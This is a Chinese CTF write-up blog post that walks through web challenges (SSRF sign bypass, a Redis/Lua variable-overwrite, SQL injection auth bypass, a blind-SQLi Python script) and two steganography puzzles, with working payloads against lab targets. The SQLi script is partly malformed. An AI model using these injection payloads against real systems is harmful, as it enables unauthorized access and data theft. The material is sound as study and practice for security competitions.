周末事很多,就打了一个下午加一个晚上,不过就算给我再多时间估计也就这样了
WEB
SSRF ME
考点:SSRF?其实不过是in和==的区别
靶机:https://buuoj.cn/challenges#[De1CTF%202019]SSRF%20Me
参考链接:https://blog.csdn.net/weixin_43345082/article/details/103770950
Payload:
/geneSign?param=flag.txtread
/De1ta?param=flag.txt setcookie:{action:sign,Sign:上面返回的}
解析:
这道题关键时注意到他竟然不是检查sign的值是否等于,而是sign的值是否包含,真的神了!还可以拼接操作!!!
当然参考链接里还给出了哈希长度扩展攻击的方法,hashpump学习了!我原以为要找到两个MD5一样的字符串是一件很难的事呢。。。不过这个攻击的前提依旧是sign的检查用的是in而不是==
Luatic改
考点:变量覆盖+redis
靶机:暂无
参考链接:http://m0te.top/articles/HITCON%20%202019%20Quals/HITCON%20%202019%20Quals.html
Payload:
/?guess=1&_POST[MY_SET_COMMAND]=eval&_POST[TEST_KEY]=function%20math:random(v)%20return%202333%20end&_POST[TEST_VALUE]=0
/?guess=2333
解析:
这道题来了个Redis,头疼,硬着头皮去学,还用的是Lua脚本语言,学!诶!被我发现原题了,哈哈哈!
首先很明显是个变量覆盖,$$什么的,然后要解决result==guess的问题!我们要让return math.random返回一个固定的值!莫非能像pyhton一样把函数给覆盖了?还真的可以,而且全局重载了下次访问依旧是重载后的!感觉这个算是特性,还是缺陷啊?
所以前面的
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
正好可以利用一下,之前我还以为这个要写set a 0这种,不然这里就会die出去,但是试了一下
/?guess=1
结果发现!我捡了个漏!上一位大佬直接设置的1,被我给捡漏2333。
找练习出题的小伙伴重置一下后,可以看到回显的是最后一句die,说明这里他本来默认的get($TEST_KEY)就是等于$TEST_VALUE的。
所以我们可以放心大胆的来重载了
Lua脚本如下
Function math:random()
return 1
End
用Redis的eval运行上面脚本的话
eval Function math:random() return 1 End 0
现在的目标就是要把eval给$MY_SET_COMMAND,把Function math:random() return 1 End给$TEST_KEY,把0给$TEST_VALUE
但是一来就preg_match了TEST_和MY_开头的变量,不过他有两步变量覆盖,所以可以第一步用GET把值赋给POST,第二步用POST再把值赋给目标变量,这样GET传过去_POST[目标变量]=值,就绕过了TEST_等开头匹配的过滤逻辑。
最后构造两步Payload,第一步覆盖random,第二步用guess获取flag
另外有另一种方式覆盖random这里不赘述,详见参考链接
SQL injection
考点:脑洞+绕过\’过滤
靶机:http://39.106.45.176/sandbox/test/
参考链接:https://www.cnblogs.com/islsy/p/10672000.html
Payload:
/?username=\\&password=or 1#
解析:
输入随便输入几组用户名密码会发现,他下面有一个整数会因为输入长度而改变,我们可以注意到输入\’,增加了6,可以猜到这个就是把\’给转义成了'
or没有被过滤可以发现,所以尝试转义掉sql语句中的第二个\’,注释掉最后一个\’,sql语句变成username=\’\\’ and password=\’#\’然后我们再接一个or 1上去就变成了了username=\’\\’ and password=\’or 1#\’,永真绕过!
SQLi
考点:盲注
靶机:无
参考链接:无
Payload:
import requests
url='http://47.240.43.170/index.php/'
def str2hex(string):
c='0x'
a=''
for i in string:
a+=hex(ord(i))
return c+a.replace('0x','')
alphabet = ['!','[',']','{','}','_','/','-','&',%,'#','@','a','b','c','d','e','f','g','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
flag='^'
for i in range(0,20):
for y in alphabet:
tmp=flag+y
data = {
"username": "admin\\",
"password": "||password regexp binary {}#.format(str2hex(tmp))"
}
print(data['password'])
x=requests.session()
if 'needs' in x.post(url,data=data).text:
# print(x.post(url,data=data).text)
flag=tmp
break
print(flag.replace(^,))
解析:不会,学习ing
猜猜加班到几点
考点:字典爆破+不知道
靶机:暂无
参考链接:无
Payload:无
解析:不会
easyjs
考点:RESTful API(其实会看js就行了)
靶机:暂不提供
参考链接:本文
Payload:
$.ajax({
type: GET,
url: api + wp-json/wp/v2/pages,
dataType: json,
success: function (json) {
for (var i = 0; i < json.length; i++) {
if(json[i].id==flag){
console.log(json[i])
break;
}
}
}
})
解析:
这道题我出的。。。第一次出题,全场最水的题目2333。其实就是这两天做新主页用到了wordpress的RESTful API然后就把新主页拿来当题目了2333。真的很水的啊,直接把html和js里出现的所有本站的链接打开ctrl+f搜索flag就能出来的。。。
MISC
你要扫我吗
考点:zip伪加密+文件拼接隐写
题目:太简单了就不放了
解析:
拿到一个压缩包,去除伪加密,解压获得一个二维码,不要去扫没用的,直接当zip解压获得flag图片
大佬爱玩GTA
考点:GTA5 图片尺寸隐写+bpg图片格式+维吉尼亚密码
题目:https://www.jianguoyun.com/p/DbiRE-QQnNCABhiKk4ID
解析:
解压获得png,改png为zip,解压获得加密的flag.zip和被修改尺寸的png,编辑0x10-0x17的长宽后打开获得解压密码,解压flag.zip获得gta5.png,查找png文件尾发现后面多跟了3kb数据,提取发现是bpg格式的,从bpg的官网获取bpgview打开获得,加密后的flag和密钥,加密方式为维吉尼亚密码,就是位移加密。